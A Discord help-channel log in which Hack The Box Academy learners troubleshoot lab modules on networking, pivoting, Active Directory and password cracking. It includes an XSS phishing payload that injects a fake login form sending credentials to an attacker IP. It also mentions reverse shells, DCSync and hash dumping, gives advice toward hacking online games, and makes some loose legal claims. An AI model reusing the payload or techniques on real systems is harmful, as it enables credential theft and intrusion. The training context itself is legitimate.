#modules

1 messages · Page 352 of 1

brave scroll
#

not working for me

#

idk why

#

when running in my own machine getting this error.

west canopy
#

try without sudo

brave scroll
#

also did this one

#

still not working

west canopy
brave scroll
#

why not working for me

west canopy
brave scroll
brave scroll
fresh plinth
brave scroll
west canopy
#

can you ping the target?

brave scroll
#

i think i have to spawn the target again

#

btw how can i update py library?

west canopy
#

we need to find out if the problem is your command, or if its overall network connection, etc.

brave scroll
west canopy
#

or you could use wireshark and see exactly what's happening

potent lotus
#

Exploit the target and find the hostname of the router in the devicedetails directory at the root of the file system.

#

can anybody help

sturdy hamlet
#

Hello

brave scroll
#

ah by spawning target again nxc works fine. @west canopy thanks mate

potent lotus
#

its from shells and payloads

sturdy hamlet
#

Any game hacker here??

brave scroll
potent lotus
#

topic infltering unix

sturdy hamlet
potent lotus
#

i was stuck

brave scroll
sturdy hamlet
#

@brave scroll

#

Can you hack any game??

brave scroll
#

it is illegal. @sturdy hamlet

brave scroll
potent lotus
#

its asking password

#

i tried

sturdy hamlet
#

OK but genrel me Chat nahi kar sakta esa dikhaa rahahe

west canopy
brave scroll
west canopy
brave scroll
#

@potent lotus have u upload rce?

stone bison
#

Can I poke my head in for a question on Linux fundamentals or am I waiting my turn

potent lotus
#

done

potent lotus
#

im in the

brave scroll
#

come in dm

fathom pendant
#

There's not a queue to ask questions

stone bison
#

Thanks guys

stone bison
#

I'm looking for some help under firewall setup the first question is asking me to start a web server on Port 8080 and here's the steps I've tried so far:

#

I've tried running HTTP 8080 failed

stone bison
#

Linux fundamentals, firewall setup

brave scroll
#

ahan lemme check

stone bison
#

Python - m HTTP.server 8080 kinda failed, it started the server but I couldn't interact with it at all

#

And just tried Apache2 - k and it didn't run

brave scroll
#

try this one "python3 -m http.server"

fresh plinth
#

also is this on pwnbox or your own machine/VM?

stone bison
#

Pwnbox

west canopy
#

python3 -m http.server 8080

brave scroll
stone bison
#

Started the server

west canopy
#

or if you want to use apache, you can edit /etc/apache2/ports.conf and have it listen on 8080 instead of 80

└──╼ [★]$ sudo cat /etc/apache2/ports.conf 

# If you just change the port or add more ports here, you will likely also
# have to change the VirtualHost statement in
# /etc/apache2/sites-enabled/000-default.conf

Listen 80   # Change this to 8080 

<IfModule ssl_module>
    Listen 443
</IfModule>

<IfModule mod_gnutls.c>
    Listen 443
</IfModule>
brave scroll
brave scroll
stone bison
#

It's not letting me input commands

brave scroll
stone bison
#

In the console I started the server in it's not taking commands or at least not showing me any returns

west canopy
#

yes, you have to let it keep running

#

open a new terminal tab if you need to type other commands

brave scroll
west canopy
stone bison
#

Oh my God, thank you guys so much

brave scroll
brave scroll
west canopy
#

BUT if you do want it to run in the background: python3 -m http.server 8080 &

stone bison
#

Absolutely I appreciate you guys

west canopy
#

okay i'm gonna go pass out , have great evening everyone

brave scroll
wooden seal
#

Can some explain why does it gave open|filtered. i got confused

grand portal
wooden seal
grand portal
#

im having trouble setting up subbrute and using subfinder. anyone who can help? im on the attacking common service module.

wooden seal
reef pecan
#

I guess that may have been it. Not Dutch, this name is common in Czechia too.

grand portal
wooden seal
#

can u dm screenshot of your problem? maybe then i can help

soft reef
reef pecan
cyan wind
#

I’m currently working DETECTING WINDOWS ATTACKS WITH SPLUNK chapter detecting password spraying. I found the answer but i don’t understand how? In the answer I tried the users and there was the answer. I copied the spl syntax in SPLUNK and was trying al the users. Was this the correct way?

reef pecan
#

Anyways, on Discord, I got by Grimgor Protocolsspoofa. I think HTB is forcing the website name to show up instead.

soft reef
#

Yes seems like it.

ornate laurel
#

Hi everyone!
I need your help, guys. I'm absolutely stuck on the Intro to Assembly Language skill assessment - Task 2.

|| Here’s what I did:

I fixed the code and removed the exit part (as mentioned in the tip).
I assembled the code, linked it, and wrote it to a .bin file.
Then, I tried to generate shellcode with msfvenom.
Finally, I sent the shellcode to the server using an nc connection. ||
Can you tell me where I might have gone wrong?

viral slate
#

ABUSING HTTP MISCONFIGURATIONS : Advanced Cache Poisoning Techniques

Hey guys!
Currently working on fatget.wcp.htb, but unfortunately couldn’t find any solution at the moment.
Can I have a hint please?

dry tartan
#

does anybody want to be my first friend ?

real delta
#

this channel is for getting help on modules

dry tartan
#

that is why i want to get to know people , so if you do not want to be friends do not reply ty

spark spruce
storm elk
#

@dry tartan this isn't general chat, this channel is for help with Academy modules. If you wish to participate in #general - read and follow instructions of #welcome

opal nexus
#

In the module 'Wi-Fi Penetration Testing Basics', section 'Bypassing Mac Filtering' --> running the 'sudo airodump-ng wlan0mon' command on wlan0mon doesnt works for me (in the screesnhot), even though it is the interface that appears in 'iwconfig'.

do anyone has any idea how to proceed?

autumn pilot
#

The error message provides enough information to understand why the command doesn't work

#

Try displaying the interfaces present on the machine, if there isn't such an interface create one automatically using one of the tools mentioned in the module

ornate tulip
#

Hello all! Just starting out with HTB on my professional development. I am working though the vulnerability assessment module now, when it says: Nessus can be accessed at https:// < IP >:8834 what IP address and how do I find that if I am using the pwnbox Virtual Machine?

opal nexus
autumn pilot
#

just tested the password and it is working

mild glade
#

File Inclusion module
Basic Bypasses section
I'm using firefox, from two days ago till now whenever I deploy a target on any module that has a web app, it wouldn't load on firefox (it just keeps loading) while working on other browsers.

opal nexus
shut vapor
shut vapor
rigid stream
#

Hi HTB Community,
I’m working on the Introduction to Python module and need help with a question about finding the third most used word and the most frequent word in a given text. I’ve written my code but every time I submit it, I get an error saying it’s incorrect. I’ve tested it in a local Python environment and it works fine there so I’m unsure what I might be missing.

glad patio
#

Hello guys, I've got some sort of stroke with this question on Splunk queries.

"Navigate to http://[Target IP]:8000, open the "Search & Reporting" application, and find through an SPL search against all data any suspicious loads of clr.dll that could indicate a C# injection/execute-assembly attack. Then, again through SPL searches, find if any of the suspicious processes that were returned in the first place were used to temporarily execute code. Enter its name as your answer. Answer format: _.exe"

I can do the first part of the question with: index="main" *clr.dll | stats count by Image

I get the result (on the screen), obviously there're SharpHound.exe and randomfile.exe, which call fair amount of suspicion. However, I do not really understand what to do next with it (it doesn't accept neither of them as answer), I investigate further and see that all of them have event code 7 for loaded image but no relation to C# injection or execute assembly attack.

#

Could anyone please hint me with this one?

mild glade
# shut vapor Did you forget you've set a proxy? Other than that clear the cache is worth a tr...

Ty for replying, I tried to clean the browser chache and it didn't work, then I intercepted the request from mozzila and chrome to see the difference and it was in the Accept header on the request.
Mozzila :

GET / HTTP/1.1
Host: 83.136.250.78:57974
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

Chrome :

GET / HTTP/1.1
Host: 83.136.250.78:57974
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

When I intercept the http request then edit the Accept header to be like chrome the site loaded successfully.

#

I don't understand why firfox doing this.

mortal prawn
#

Hey, does anyone know why I might not be able to RDP into this host? I'm using the username and password provided

mortal prawn
torpid thistle
shut vapor
opal nexus
torpid thistle
rustic sage
#

Hey so my school doesn’t pop up when I registered, what is the best academy subscription other than that one I guess

storm elk
white shadow
#

Something strange with my HTB accounts. I have created two accounts so far, and each time I log out, it won't let me log back in. It claims the credentials are incorrect, even though I just made the accounts minutes ago and know exactly what I used. Why is this happening?

slim jay
#

Hi Guys i am stuck at Attacking Enterprise Networks -> Web Enumeration & Exploitation 6 & 8
Use the SSRF to Local File Read vulnerability to find a flag. Submit the flag value as your answer (flag format: HTB{}).
Use the XXE vulnerability to find a flag. Submit the flag value as your answer (flag format: HTB{}).

I dont know how to discorver what the name is of the flag
Can someone help me ?

rustic sage
#

Then you get the flag after exploit?

slim jay
#

and they both where called flag.txt
i thought they had a diffrent name.

rustic sage
#

😭😭😭

#

Ur real

slim jay
#

I was thinking way to complex

rustic sage
#

Happens

fathom pendant
white shadow
fathom pendant
#

Also heavily suggest doing that module blind if on the cpts path

compact patrolBOT
novel parrot
#

stuck in broken auth skill assesment, i have found the creds but i think this is not the right path

#

can anyone help?

gray yacht
flint tinsel
#

In Getting Started Section > Knowledge Check, I obtained my initial foothold on the system, but I don't have access to any commands like: wget, sudo, apt, su, python, python3, etc. Pretty much everything except cat, cd, and ls. Even when looking at what is installed under /bin and all of the packages we are used to. But still am not able to use them when using absolute pathing.

I also tried using the ||upload_exec|| exploit with the password I got from ||admin.xml|| but that isn't working either. Feel like I'm missing something.

Can anybody help?

soft reef
flint tinsel
#

LinEnum or LinPeas, but I can't upload them, right?

#

I can't check what commands I have access to, or setup a reverse shell

fathom pendant
opal nexus
fathom pendant
#

Linenum and linpeas spits a lot of data out that can just be annoying

flint tinsel
#

I can't use sudo, it says its an unknown command

fathom pendant
#

??

flint tinsel
flint tinsel
fathom pendant
#

You'll need to follow instructions in #welcome to post screenshots

lyric quiver
#

Anyone has the bloodhound default creds for the pwnbox ?

opal nexus
flint tinsel
viral snow
#

Finally! After 10 weeks, putting in 10-12 hours a day, and writing 356 pages worth of notes. I have finally completed the Penetration Tester Job Role Path!

rich zinc
#

You know sometimes I get stuck on something that everyone else here be like “oh yeah this is the! Oh yeah I got it it was sooo easy ..” and I get upset at the world for taking so much of my time like work and friends and things like they are the ones that made me fall in love with hacking but then after days or weeks I get to the solution
And it’s a journey that I like so much also cuz I learn so much along the way
Even if I know the answer and htb says it’s not and apparently it is the answer I just had a space before or after! Or cuz I was completely wrong
But maybe just maybe you guys have advices for me.. so how do you guys deal with wrong answers and what is your approach for finding solutions?
I’ll be much obliged if you have answers for me to be focused or something
Peace! ✌🏾

midnight galleon
#

does cme have a native way of getting the user list to a file or do i need to use some weird bash piping?

median gale
#

Above is the output of smbmap and below i am manually testing for a directory with write permissions is there any way to automate this?

#

Can't smbmap see permissions to subdirectories also?

soft reef
#

If you have creds you could try crackmapexec with --shares

brisk chasm
#

Hi , I need hint for [Resource Lab ]

midnight galleon
#

had to search the smb share file by file

brisk chasm
midnight galleon
midnight galleon
soft reef
midnight galleon
brisk chasm
soft reef
gray yacht
brisk chasm
crisp stump
#

module "getting started" section "public exploits", i can find the service is Apache 2.4.41, but i can't find this version exploit in metasploit... any idea?

midnight galleon
gray yacht
brisk chasm
midnight galleon
midnight galleon
#

but ask there and u will find someone

midnight galleon
fathom pendant
median gale
opal nexus
sand rose
#

Hello. I'm trying to do a module, but right now, when I spawn the target for the module (this also has been happening on labs too for me), it keeps giving me a public ip address with a port number instead of a private IP address like I normally get for the target. Any ideas why?

rocky estuary
#

in windows privesc module section kernel exploit
for the CVE-2020-0668 everytime i run the service i get the connection back to my attack machine but i lose it as soon i get the error from the service saying "The service is not responding to the control function" did you face this issue ?

#

i know that i can create an account instead of getting a reverse shell but i just want to ask this just to know if i missed something or this is normal for this attack

opal nexus
rocky estuary
#

i swapped the binary as shown in the section then i started multi/handler on my attack host then i ran this on target host "net start MozillaMaintenance" which send a connection back to my attack host which i received until i get the error message from the service i ran on the target host then i lose it

gray yacht
sand rose
#

When I try to ping it, it says "Name or service unknown".

I dont have issue pinging my own network or 8.8.8.8 or anything else.

Also, does nmap still work normally with a port specified? Since we are scanning ports, does that work the same? (sorry for beginner questions, I'm just confused about that since it makes no sense to me).

boreal hinge
#

@sand rose You sure about that? 'dont' should be 'don't'.
Hmm, not quite. 'nmap' is actually 'map'.

gray yacht
midnight galleon
#

AD attack & enum assessment 2
on the SQL01 machine i got local admin and dumped the sam db but it didn't include all users, how is that possible?

sand rose
#

Oracle TNS Footprinting section

sly vessel
#

"I'm Currently In The process Of Becoming A Ritch And Wealthy Canadian Citizen

west canopy
#

you could try dumping LSA, there might be some domain user hashes there

midnight galleon
viral snow
#

Will there be an AD path room?

real delta
#

There are modules for AD

dark hedge
viral snow
uneven niche
#

Did you ever figure this out?

fresh rivet
cloud urchin
midnight galleon
#

Windows Privilege Escalation
Credential Hunting

Search the file system for a file containing a password. Submit the password as your answer.
I found the file, however the password inside it didn't solve the question

cloud urchin
#

my guess is that isn't the password it's looking for

midnight galleon
#

i found the stuff one and the web one

green minnow
#

Webrequest module:

curl 'http://94.237.59.180:36838/search.php' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:132.0) Gecko/20100101 Firefox/132.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Referer: http://94.237.59.180:36838/index.php' -H 'Content-Type: application/json' -H 'Origin: http://94.237.59.180:36838' -H 'Connection: keep-alive' -H 'Cookie: PHPSESSID=1v5a2airpllfll64aa61ssfuao' -H 'Priority: u=0' --data-raw '{"search":"london"}''

Returns ["London (UK)"]%

curl 'http://94.237.59.180:36838/search.php' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:132.0) Gecko/20100101 Firefox/132.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Referer: http://94.237.59.180:36838/index.php' -H 'Content-Type: application/json' -H 'Origin: http://94.237.59.180:36838' -H 'Connection: keep-alive' -H 'Cookie: PHPSESSID=1v5a2airpllfll64aa61ssfuao' -H 'Priority: u=0' --data-raw '{"search":"flag"}'

Returns []%

So the flag is []?

midnight galleon
#

both are not working

cloud urchin
midnight galleon
cloud urchin
midnight galleon
#

solved it but it is really confusing

#

I hope if they can change it cuz the other password are just a meaningless rabbithole

solar grove
#

I have been working for hours in the Cross-Site Scripting (XSS) phising room, I tested in the /phishing extension, the payload works, but all the payloads I send to send.php fail “Invaliad”

#

'/><script>document.write('<h3>Please login to continue</h3><form action=http://10.10.15.18:8080><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();</script><!--
my payload

fresh rivet
cloud urchin
wooden seal
#

do i get to keep the completed modules which is part of annual subscription? (Thanks)

cloud urchin
wooden seal
#

Firewall and IDS/IPS Evasion - Easy Lab (stuck on Target(s) are spawning for 5 mins) and got cancelled for no reason

cloud urchin
#

My target did the same thing, could be a site issue

wooden seal
cloud urchin
#

mine's working now.. maybe just a hiccup who knows

#

try it again and see

wooden seal
#

yea worked lol that was weird

lament tartan
#

Hey there

normal lily
#

E

wooden seal
#

Cant get the answer to this
What i have tried :
||The same command from solution(not getting results)||
||-sV flag||
||its showing its open but scripts not working or something ||

knotty gust
#

Does anyone else get this error in the Pivoting tunneling and port forwarding module, ICMP Tunneling with SOCKS section? I've recompiled the binary 3 different ways but I always get this error on the pivot host

#

I've attempted the sed compilation method, sudo ./autogen.sh as well as sudo ./compile && make

#

The program works on my attack host, just not on the pivot host

wooden seal
knotty gust
steel juniper
#

having issues with metasploit not connecting to rhost

knotty gust
# knotty gust If that were the case it wouldn't run on my attack host, but it does

Looks like it's because it's a C application and my kali pentesting VM has a differeng glibc version than the ubuntu host, leading to a mismatch. It's reported as an issue on the forums (https://forum.hackthebox.com/t/icmp-tunneling-with-ptunnel-ng/268732/9) and it seems like the fix is to either recompile it in another VM that has the same glibc version, or to use a basic dynamic port over SSH with proxychains to get the flag

wooden seal
#

i prefer compiling it on the target machine tho (if its possible)

sand rose
#

Hello. I'm trying to connect to HTB for the SQL injection module, and I'm having issues. Firstly, it's spawning a Public IP address with an ephemeral port (which I've never seen HTB do). Secondly, when I go to ping the target, I'm getting an error saying "Name or service not known". It's the "Intro to MySql" section. Anyone able to shed light?

storm elk
#

open it in your browser @sand rose

#

the public ip + port is because its a docker instance just for you

sand rose
#

I used the original in addition to a couple of other IPs (by resetting it) and it tells me the connection was reset in my browser

storm elk
#

let me check on my end, one sec

sand rose
#

Sure thing

storm elk
#

oh my bad, you need to do it with the mysql client on the cli

#

so example mysql -u root -ppassword -h publiciphere -P porthere

sand rose
#

Am I not able to just ping it like normal? (Whenever I get a target, I usually ping to make sure my connection is good).

storm elk
#

Not always no

fathom pendant
#

sometimes pinging is not reliable

#

typically if it's a windows machine it's not enabled

sand rose
#

Gotcha. Is this also why I had issues with nmap too? (I know it's a MySql module, but it's more of a habit I have that the moment I get a target I go ping, Nmap, see what I'm looking at, then proceed with the module at hand).

And if I may: Whats the difference between using a ping/nmap packet(s) vs using the cli with mysql. I ask in the sense of aren't they all packets that the server would need to respond to? How does it typically detect what's me trying to connect vs sending a ping?

fathom pendant
#

Different types of packets

green minnow
cloud urchin
#

which module

#

and section

green minnow
#

Web requests crud api

#

It doesn't respond to curls either

cloud urchin
#

probably another endpoint you need to navigate to

#

yeah, the section shows it's using api.php, try that

green minnow
#

Alright

tepid horizon
#

Module: Signature Wrapping Attack

Does anyone try that module? I can’t exploit successfully…

mystic fjord
#

Hiiii, i need support with the last Active Drectory Skill Assessment exercise, im having a problem with the rdp even if i restart the target

#

i try to resolve it by myself with stackoverflow but no luck

midnight galleon
mystic fjord
#

kinda unnecessary, it shouldn't be like this, I read the solution and so far it doesn't mention anything about portfw, it's a problem with the target itself

silver mesa
#

I'm doing Android Exploitation track: pinned says error parsing package

autumn pilot
#

not a problem with the target

mystic fjord
#

Even if portfw works, there is still a problem with the target, since that is not the "canonical" solution

autumn pilot
#

If you are in an SSH session you simply cannot perform an RDP command within it

#

The error is comprehensive enough to mention that there isn't a display variable set

fathom pendant
#

^

mystic fjord
#

I did portfw and got rdp, kinda weird but it worked, thanks @autumn pilot @midnight galleon

fathom pendant
#

@grand portal no spoilers; also try visiting it (after adding it to your hosts file)

grand portal
grand portal
grand portal
fathom pendant
#

Just uses a different UA

grand portal
#

UA?

fathom pendant
#

User agent

analog dock
#

Under Armour

grand portal
#

okay

grand portal
fathom pendant
#

Should be

#

Try nc

#

I honestly forget how I did it

grand portal
#

this is how my hosts file should be. right?

#

blurred is another subdomain that i found.

fathom pendant
#

Make sure no spelling errors

vocal swallow
#

Hi guys. Just asking about the debugging section of the introduction to malware module. I have followed all the steps and consulted the forums but cannot seem to get past the "sandbox detected" message. If someone here can help it would be appricated

grand portal
grand portal
fathom pendant
grand portal
vocal swallow
grand portal
vocal swallow
vocal swallow
grand portal
vocal swallow
vocal swallow
grand portal
grand portal
vocal swallow
#

what would change from my device to pwnbox tho?

#

something to do w inetsim?

grand portal
#

probably, i dont remember the details. I had trouble setting up inetsim on local machine, worked well in pwnbox.

vocal swallow
midnight galleon
#

and generally yeah, in real engagement u won't have much control of these pivot boxes

grand portal
green minnow
#

What exactly is the Windows fundamentals question asking me? "Which Windows NT version is installed on the workstation? (i.e. Windows X - case sensitive)"

It wont accept Microsoft Windows 10 Enterprise 10.0.19041 or Windows 10 Enterprise 10.0.19041 or Windows 10 10.0.19041 or 10.0.19041

#

Windows 10 19041 or Windows 10.0.19041 is also not accepted

#

What format does it want?

solar arch
#

remove build and name

#

its more simple 😉

green minnow
#

So it's literally just fucking "windows 10" errr eyeroll

kind inlet
#

Hello, I am stuck in the "Network Enumeration with Nmap" module on the hard lab and I can only see ports 22 and 80, I have tried a lot of combinations of what i learned in the module but i had no luck finding the flag. Can anyone help?

opal nexus
fathom pendant
#

Replace the specific port with -p-

kind inlet
fathom pendant
#

It shouldn't

kind inlet
# fathom pendant It shouldn't

oh am i doing smg wrong here it takes forever? i tried to reduce the time with several stuff from the performance page and it only returned ports 22 and 80.

kind inlet
opal nexus
fathom pendant
#

Also you need to use a source port 😉

kind inlet
#

yepp i used source port 53

kind inlet
clever bloom
#

Can anyone tell me the first question of the skill assessment of "Stack-Based Buffer Overflows on Linux x86"?
It asks "Determine the file type of "leave_msg" binary and submit it as the answer." but this question is too vague. I know it's "leave_msg: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=8694607c1cba3fb3814a144fb014da53d3f3e49e, not stripped" but I can't figure out the exact answer...

calm pier
#

Hi, I cannot finde the flag in the Repeating Requests in the Using Web Proxies module. The hint denotes that it is in a subdirectory. I tried the public directory, there are just one html and one ss file, none of them contain the flag. I suppose, that the flag is in a file called file.txt. Can somebody tell me where I need to search for the flag?

sand rose
#

Hello. I'm having isses connecting up to the mysql database for the htb academy module. I'm trying to connect to it the way it tells me, but I keep getting an error saying "Can't connect to local server through socket '/run/mysql/mysqld.sock'"

#

Im connected to the vpn, and my internet connection is also fine. I've been trying to use the IP:Port format and using -P to specify the port and it's to no avail. I'm not sure what I'm doing wrong here.

shut vapor
sand rose
#

@shut vapor I've done the following: Restarted the VPN connection, restarted the Virtual Machine (Using VMware). Redownloaded the VPN connection. Tried connecting without the VPN connection (the target was showing as a public IP so I figured to try that). Tried various cli inputs the module showed to tried to connect up to it.

When I go to ping it, it says "name or service unknown". Nmap keeps showing "host seems down".

Ive done the above with multiple targets (all giving me a public ip and an ephemeral port).

#

I tried both defaulting to the localhost server and docker.hackthebox.eu (something in the module that showed as a cli to try to connect up). All of it has been to no avail.

#

I tried both defaulting to the localhost server and docker.hackthebox.eu (something in the module that showed as a cli to try to connect up). All of it has been to no avail.

shut vapor
#

If you're not able to ping or verify open ports something's wrong but it's hard for me to offer further troubleshooting advice. As a sanity check sometimes I try in the pwnbox to make sure it's something with my system.

#

The target is public though? What module and section is this?

sand rose
#

the sql injectin module "Intro to mysql"

#

the target is 94.237.59.180:55372

#

So I opened pwnbox (through firefox on my VM)... and I can ping it just fine from there?

#

I just tried pinging again from my VM and now I can ping it just fine... when I use nmap on my VM it says the host seems to be down.... when I use nmap from within pwnbox (from inside my VM), I can scan it properly. Any guesses?

shut vapor
#

I see, the target is a docker instance

#

it is a public IP so if you' can't ping / otherwise interact with that IP from your VM I'd bet you can't interact with anything really.

shut vapor
sand rose
#

Its weird because I can ping it from my vm but not nmap it weirdly?

#

I can also ping and nmap my own local network perfectly fine from my vm as well, so I sincrely not sure. I'll probably just finish it through pwnbox since that seems to be working normally... I just sincrely not sure what the issue is.

#

I appreciate your help though :).

acoustic owl
# sand rose the target is 94.237.59.180:55372

this is a Docker Container. Only this one port is available to you. If you ping the machine, your target does not respond, but the host machine does. However, this has absolutely nothing to do with your target.

blazing bay
#

Hello, I just created an account in HTB academy and it's not letting go through the paths

acoustic owl
#

What exactly do you mean by, it won't let me go through the paths?

blazing bay
#

When I put the cursor on Paths, it says javascript: void(0)

sand rose
acoustic owl
acoustic owl
hidden urchin
#

I am doing the windows command line module and i am having a porblem wiht a question "What command will give us a listing of all files and folders in a specified path?" i have tried dir , dir /A , tree , tree <path>

every thing is wrong what is the correct answer here

young flume
#

is container track deleted? in app.htb

acoustic owl
hidden urchin
#

got it done i was putting a wrong parameter to the command

astral ravine
#

how to get the hacker badge in htb?

#

what needs to be completed or reqs ??

limpid hemlock
#

#spoiler Hey inthe attack enterpize module on the active directory compermize section we would add a user ttimons onto a target group after that i try to dump the ntlm password hashes using secretsdump ttimons and use ttimons password we get after cravking a hash but it gets errord out

shut vapor
#

would appreciate spoiler tags on AEN questions

limpid hemlock
#

Any help

fervent iris
#

is there a possibility to create separate channels for each module? the current state of modules chat makes the search for information on a specific module frustrating to the point it is better to just ask copilot even though it is bad when it comes to such knowledge..

having dedicated channel for a every module ease the process of asking, answering, searching for previously asked questions tremendously

autumn pilot
#

there are over 100 modules, it is not feasible

#

additionally, in a single channel your chance of finding something relevant is higher

frank sun
frank sun
#

yes

clever bloom
#

Me too. Have tried many combinations and I can't pass it...

cloud urchin
#

did you use privilege::debug

frank sun
#

yes

cloud urchin
#

i believe that exception means access denied, so your user probably doesn't have the privs to perform a dcsync

frank sun
#

but I'm running on adunn's session (runas)

#

Also on a side note - why there are 2 machines spawned - ACADEMY-EA-MS01 & ACADEMY-EA-ATTACK01?

cloud urchin
#

read the scenario setup section

frank sun
#

but I should be doing the same with mimikatz too?

#

@cloud urchin any suggestions?

cloud urchin
#

can you ssh with the creds it provides in that part of the section

frank sun
#

i tried that too, no luck. confirmed by pasting in a notepad to see if its there in clipboard or not

cloud urchin
#

i mean that's what it says to do, not sure without checking it myself but i'm busy right now unfortunately so i can't test it for you

#

iirc i think i had to use pwnbox becuase of the way it scrolled the terminal when running mimikatz through that ssh session

fervent iris
knotty anvil
#

i hate when rdp doesnt work

frank sun
#

same error

acoustic owl
fervent iris
# acoustic owl How can over 100 channels just for modules be moderated in a meaningful way? Thi...

if you mean who will answer questions, the community will, most of the questions are already answered at least once, so scrolling between all relevant information until i find someone talked about specific thing would be easier (because discord doesn't have information retrieval system aka search engine to assist in the search functionality)..

but if you mean moderating the exposed content on the chat, then it will be almost impossible 🙂

acoustic owl
fervent iris
#

yeah if it is manual moderation then its impossible

stone bison
#

hey guys i had less of hard module question and more of soft one, i'm almost done with the Linux Fundamentals module. And this last bit is comparing and contrasting Solaris vs. Linux. How important is understanding the differences between the two systems? Should take notes on this section or should i just move on?

acoustic owl
#

You can also quickly find the difference between Linux and Solaris with a search query in a search engine of your choice. You probably don't need any notes. It is only important to understand that there is a difference.

stone bison
#

cool thanks man

drowsy raptor
#

I'm just curious (if there's any HTB staff around), do you make the art on the cover images of the modules in academy yourselves?

drowsy raptor
fervent iris
stone bison
drowsy raptor
#

I've found that it's generally helpful when searching for some particular topic, such as a challenge name or a topic name

fervent iris
#

i thought there are only the basic stuff such as from:@user

drowsy raptor
gray yacht
upper ruin
#

Attacking Common Applications
Exploiting web vulnerabilities in thick client applications

So...I modified the Invoker and the ClientGUI thingy, compiled it and made the traverse jar, instead of doing it 1 by 1 and taking time.

For some reason, the .jar displays the content of the file instead of downloading it. I have used the 1:1 script provided in the module, anyone got an idea what could be the issue?

#

If someone is down, I can even stream my actions 1 by 1 to see what's wrong, but I am stuck for about 2+ weeks on that.

open forge
#

Hey anyone know the path i should take if i wana hack online games(server-sided)

upper ruin
#

I wouldn't condone that.

rustic sage
#

Holy shit the last module before skill assessment in pivoting is so fucking slow

upper ruin
#

Give it time to load.

rustic sage
#

I'm trying to upload a file it's literally taking me 30 minutes just to type commands and extract the zip file

shut wraith
# open forge Hey anyone know the path i should take if i wana hack online games(server-sided)

Hey GodBreak.

  1. Get into the Hacker mindset; you have to learn to think deeply about how games work and how you can hack them

  2. Learn programming languages required: C++ Is what the online games are in, and then you can learn Python for your own programming when attacking things

  3. Time to put your knowledge in action; start reverse engineering, doing static and dynamic analysis on games and applications -- starting from small stuff and reaching to big stuff

#

Please do not randomly assume that people who are learning here are being or are going to be illegal.

Game hacking is taught by HTB, and HTB does NOT condome learning how to game hack.

Please do not discourage people from using the HTB modules by scaring them away.

dark hedge
#

those two modules are for hacking games offline/client-side

#

and hacking server-side without permission is the same thing as unauthorized testing, which is illegal. cheating in online games isn't something that HTB condones either

shut wraith
#

Stop telling people not to learn -- and stop telling people that they are illegal

#

But thank you for the reminder I apologize. Illegal hacking is not okay

dark hedge
finite hound
#

Do anyone know Nmap

dark hedge
shut wraith
finite hound
#

Because I already have a lot of results with me

finite hound
# shut wraith Which module ur on

You are talking about the machine I'm just using Windows but if you're talking about the version of the End map let's just say is the updated one like if you want to download it you just see the one they just recommend to you or maybe I'm the one out of line if you can be more specific please

shut wraith
#

(btw just recently discovered its illegal to nmap anything without permission)

Cause in the law it says any snooping is evidence that u want to invade privacy or steal stuff

finite hound
shut wraith
finite hound
shut wraith
#

Instead of nmaping that website

dark hedge
#

apparently the site is for testing Nmap

#

dunno why it's not loading the page

shut wraith
#
  1. You can then check service versions for available CVE (public exploits)
  2. U can fingerprint (check quick check) the services to get more info about them
  3. U can then use tools specific to the services to attack them more
  4. U can start accumulating data from the services
dark hedge
#

but the cached result in Google states that the page was made for testing Nmap installs and learning more about the tool

finite hound
dark hedge
#

but yea, this doesn't concern an Academy module

shut wraith
quasi wave
#

hi I'm in Password Attacks module's pass the hash section. is there any way someone can help me with question 3? I am in David's user folder trying to get the hash. I looked in the hidden ssh subfolder and got a hash but it wasn't the right hash value.

dark hedge
finite hound
quasi wave
#

I'm trying to get David's password hash

dark hedge
#

if you want to learn more about Nmap, HTB Academy has a module for using the tool

quasi wave
#

I mean his account hash

finite hound
dark hedge
quasi wave
#

can someone help me I used type command in cmd prompt and Get-Content in PowerShell to read the known_hosts file in david's folder it doesn't seem like I'm going in the right direction?

#

if someone could give a hint that would be good

#

I'm researching mimikatz and don't see a clear tutorial on how to get account hash for current user

rustic sage
#

Award to slowest module in all of cpts path goes to pivoting tunneling and port forwarding - RDP and socks tunneling with socks over RDP

Shit took my 2 hours and a half while i ALREADY knew exactly what to do, just to type the commands

#

Frustrating

visual umbra
#

Hello agin. Im in Skiss assesment last question; "After cracking the NTLM password hashes contained in the NTDS.dit file, perform an analysis of the results and find out the MOST common password in the INLANEFREIGHT.LOCAL domain. " Iv been cracking all the hashes and get a list with all the passwords in a .pot file and now iv been sorting the list and run some sorting and at last uniq -c sorted_passwords.txt > counted_passwords.txt and get a list with the most user passwords, but thay iv got is just user about one time ore someting, iv been trying the number one in my sortet list but is not the correct and the other in the list is nott correct etiher.. Hm, vad im doing worong at this last qusetion? Plz can some one help me out?! Im going Crazy

#

Was trying some grep to...

#

the module is "Cracking Passwords with Hashcat " btw

near tendon
# visual umbra Hello agin. Im in Skiss assesment last question; "After cracking the NTLM passwo...

